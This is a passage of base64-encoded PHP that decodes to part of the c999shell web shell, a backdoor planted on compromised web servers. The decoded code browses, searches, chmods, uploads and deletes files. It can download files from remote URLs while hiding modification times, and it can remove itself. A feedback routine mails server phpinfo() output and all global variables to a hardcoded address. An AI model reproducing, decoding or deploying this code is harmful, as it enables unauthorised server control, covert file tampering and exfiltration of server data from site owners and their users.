lcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iLiRkZWJhc2U2NC4iPC90ZXh0YXJlYT4iO30KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPjxiPl48L2I+PC9hPiI7CiB9CiBlY2hvICI8L2NlbnRlcj48YnI+PGI+QmFzZSBjb252ZXJ0YXRpb25zPC9iPjo8Y2VudGVyPmRlYzJoZXggLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIjsKICRjID0gc3RybGVuKCRlbmNvZGVyX2lucHV0KTsKIGZvcigkaT0wOyRpPCRjOyRpKyspCiB7CiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7CiAgaWYgKCRlbmNvZGVyX2lucHV0WyRpXSA9PSAiJiIpIHtlY2hvICRlbmNvZGVyX2lucHV0WyRpXTt9CiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQogfQogZWNobyAiXCIgcmVhZG9ubHk+PGJyPjwvY2VudGVyPjwvZm9ybT4iOwp9CmlmICgkYWN0ID09ICJmc2J1ZmYiKQp7CiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07CiAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOwogJGFyciA9IGFycmF5X21lcmdlKCRhcnJfY29weSwkYXJyX2N1dCk7CiBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iO30KIGVsc2Uge2VjaG8gIjxiPkZpbGUtU3lzdGVtIGJ1ZmZlcjwvYj48YnI+PGJyPiI7ICRsc19hcnIgPSAkYXJyOyAkZGlzcF9mdWxscGF0aCA9IFRSVUU7ICRhY3QgPSAibHMiO30KfQppZiAoJGFjdCA9PSAic2VsZnJlbW92ZSIpCnsKIGlmICgoJHN1Ym1pdCA9PSAkcm5kY29kZSkgYW5kICgkc3VibWl0ICE9ICIiKSkKIHsKICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGM5OTlzaGVsbCB2LiIuJHNodmVyLiIhIjsgYzk5OXNoZXhpdCgpOyB9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30KIH0KIGVsc2UKIHsKICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29uZmltYXRpb24hPC9iPiI7fQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsKICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIi5fX0ZJTEVfXy4iIDxicj48Yj5BcmUgeW91IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4kcm5kLiJcIjwvYj46Jm5ic3A7PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zvcm0+IjsKIH0KfQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyRyZXQgPSBjOTk5c2hfZ2V0dXBkYXRlKCEhJGNvbmZpcm11cGRhdGUpOyBlY2hvICI8Yj4iLiRyZXQuIjwvYj4iOyBpZiAoc3RyaXN0cigkcmV0LCJuZXcgdmVyc2lvbiIpKSB7ZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuJHN1cmwuImFjdD11cGRhdGUmY29uZmlybXVwZGF0ZT0xJztcIiB2YWx1ZT1cIlVwZGF0ZSBub3dcIj4iO319CmlmICgkYWN0ID09ICJmZWVkYmFjayIpCnsKICRzdXBwbWFpbCA9IGJhc2U2NF9kZWNvZGUoIll6azVjMmhsYkd4QVkyTjBaV0Z0TG5KMSIpOwogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICAkdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5kKDEsMTAwMCkpLDAsNik7CiAgJGJvZHkgPSAiYzk5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsKICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpCiAgewogICAkdG1wID0gQG9iX2dldF9jb250ZW50cygpOwogICBvYl9jbGVhbigpOwogICBwaHBpbmZvKCk7CiAgICRwaHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7CiAgIG9iX2NsZWFuKCk7CiAgIGVjaG8gJHRtcDsKICAgJGJvZHkgLj0gIlxuIi4icGhwaW5mbygpOiAiLiRwaHBpbmZvLiJcbiIuIlwkR0xPQkFMUz0iLmJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRHTE9CQUxTKSkuIlxuIjsKICB9CiAgbWFpbCgkc3VwcG1haWwsImM5OTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldCwkYm9keSwiRlJPTTogIi4kc3VwcG1haWwpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7CiB9CiBlbHNlIHtlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+PGI+RmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5zdHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxhcnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4iKTo8YnI+PGJyPllvdXIgbmFtZTogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcIj48YnI+PGJyPllvdXIgZS1tYWlsOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19lbWFpbFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKS4iXCI+PGJyPjxicj5NZXNzYWdlOjxicj48dGV4dGFyZWEgbmFtZT1cImZkYmtfYm9keVwiIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmRia19yZWZcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRIVFRQX1JFRkVSRVIpLiJcIj48YnI+PGJyPkF0dGFjaCBzZXJ2ZXItaW5mbyAqIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmRia19zZXJ2aW5mXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPlRoZXJlIGFyZSBubyBjaGVja2luZyBpbiB0aGUgZm9ybS48YnI+PGJyPiogLSBzdHJvbmdseSByZWNvbW1lbmRlZCwgaWYgeW91IHJlcG9ydCBidWcsIGJlY2F1c2Ugd2UgbmVlZCBpdCBmb3IgYnVnLWZpeC48YnI+PGJyPldlIHVuZGVyc3RhbmQgbGFuZ3VhZ2VzOiBFbmdsaXNoLCBSdXNzaWFuLjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJTZW5kXCI+PC9mb3JtPiI7fQp9CmlmICgkYWN0ID09ICJzZWFyY2giKQp7CiBlY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOwogaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30KIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIiguKikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9CiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9CiBpZiAoIWVtcHR5KCRzdWJtaXQpKQogewogICRmb3VuZCA9IGFycmF5KCk7CiAgJGZvdW5kX2QgPSAwOwogICRmb3VuZF9mID0gMDsKICAkc2VhcmNoX2lfZiA9IDA7CiAgJHNlYXJjaF9pX2QgPSAwOwogICRhID0gYXJyYXkKICAoCiAgICJuYW1lIj0+JHNlYXJjaF9uYW1lLCAibmFtZV9yZWdleHAiPT4kc2VhcmNoX25hbWVfcmVnZXhwLAogICAidGV4dCI9PiRzZWFyY2hfdGV4dCwgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLAogICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLAogICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywKICAgInRleHRfbm90Ij0+JHNlYXJjaF90ZXh0X25vdAogICk7CiAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3RpbWUoKTsKICAkaW4gPSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOwogIGZvcmVhY2goJGluIGFzICR2KSB7Yzk5OWZzZWFyY2goJHYpO30KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOwogIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICI8Yj5ObyBmaWxlcyBmb3VuZCE8L2I+Ijt9CiAgZWxzZQogIHsKICAgJGxzX2FyciA9ICRmb3VuZDsKICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOwogICAkYWN0ID0gImxzIjsKICB9CiB9CiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4KPGI+U2VhcmNoIGZvciAoZmlsZS9mb2xkZXIgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4KPGJyPjxicj48Yj5UZXh0OjwvYj48YnI+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF90ZXh0KS4iPC90ZXh0YXJlYT4KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIDx1Pnc8L3U+aG9sZSB3b3JkcyBvbmx5CiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfY3MgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGNhczx1PmU8L3U+IHNlbnNpdGl2ZQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0Cjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3JtPiI7CiBpZiAoJGFjdCA9PSAibHMiKSB7JGRzcGFjdCA9ICRhY3Q7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+U2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9Cn0KaWYgKCRhY3QgPT0gImNobW9kIikKewogJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOwogaWYgKCEkbW9kZSkge2VjaG8gIjxiPkNoYW5nZSBmaWxlLW1vZGUgd2l0aCBlcnJvcjo8L2I+IGNhbid0IGdldCBjdXJyZW50IHZhbHVlLiI7fQogZWxzZQogewogICRmb3JtID0gVFJVRTsKICBpZiAoJGNobW9kX3N1Ym1pdCkKICB7CiAgICRvY3RldCA9ICIwIi5iYXNlX2NvbnZlcnQoKCRjaG1vZF9vWyJyIl0/MTowKS4oJGNobW9kX29bInciXT8xOjApLigkY2htb2Rfb1sieCJdPzE6MCkuKCRjaG1vZF9nWyJyIl0/MTowKS4oJGNobW9kX2dbInciXT8xOjApLigkY2htb2RfZ1sieCJdPzE6MCkuKCRjaG1vZF93WyJyIl0/MTowKS4oJGNobW9kX3dbInciXT8xOjApLigkY2htb2Rfd1sieCJdPzE6MCksMiw4KTsKICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30KICAgZWxzZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3RldC4iLiI7fQogIH0KICBpZiAoJGZvcm0pCiAgewogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7CiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOwogIH0KIH0KfQppZiAoJGFjdCA9PSAidXBsb2FkIikKewogJHVwbG9hZG1lc3MgPSAiIjsKICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsKIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30KIGVsc2VpZiAoc3Vic3RyKCR1cGxvYWRwYXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsKICAkdXBsb2FkZmlsZSA9ICRIVFRQX1BPU1RfRklMRVNbInVwbG9hZGZpbGUiXTsKICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkKICB7CiAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQogICBlbHNlIHskZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9CiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30KICB9CiAgZWxzZWlmICghZW1wdHkoJHVwbG9hZHVybCkpCiAgewogICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30KICAgZWxzZQogICB7CiAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7CiAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsKICAgIGlmIChlbXB0eSgkZGVzdGluKSkKICAgIHsKICAgICAkaSA9IDA7CiAgICAgJGIgPSAiIjsKICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkge2lmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9ICRkZXN0aW4gPSAiaW5kZXgiLiRiLiIuaHRtbCI7ICRpKys7fX0KICAgfQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQogICBlbHNlCiAgIHsKICAgICRzdCA9IGdldG1pY3JvdGltZSgpOwogICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7CiAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7CiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30KICAgIGVsc2UKICAgIHsKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30KICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7CiAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30KICAgICBlbHNlCiAgICAgewogICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOwogICAgICBmY2xvc2UoJGZwKTsKICAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiBpZiAoJG1pbmlmb3JtKQogewogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOwogICRhY3QgPSAibHMiOwogfQogZWxzZQogewogIGVjaG8gIjxiPkZpbGUgdXBsb2FkOjwvYj48YnI+PGI+Ii4kdXBsb2FkbWVzcy4iPC9iPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwiIi4kc3VybC4iYWN0PXVwbG9hZCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+ClNlbGVjdCBmaWxlIG9uIHlvdXIgbG9jYWwgY29tcHV0ZXI6IDxpbnB1dCBuYW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO29yPGJyPgpJbnB1dCBVUkw6IDxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPgpGaWxlLW5hbWUgKGF1dG8tZmlsbCk6IDxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PGJyPjxicj4KPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUgbmFtZSB0byBsb3ZlcmNhc2U8YnI+PGJyPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4KPC9mb3JtPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpCnsKICRkZWxlcnIgPSAiIjsKIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpCiB7CiAgJHJlc3VsdCA9IEZBTFNFOwogICRyZXN1bHQgPSBmc19ybW9iaigkdik7CiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30KIH0KIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9CiAkYWN0ID0gImxzIjsKfQppZiAoISR1c2Vmc2J1ZmYpCnsKIGlmICgoJGFjdCA9PSAicGFzdGUiKSBvciAoJGFjdCA9PSAiY29weSIpIG9yICgkYWN0ID09ICJjdXQiKSBvciAoJGFjdCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlRlNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30KfQplbHNlCnsKIGlmICgkYWN0ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjsgfQogZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQogZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjOTk5X3Nlc3NfcHV0KCRzZXNzX2R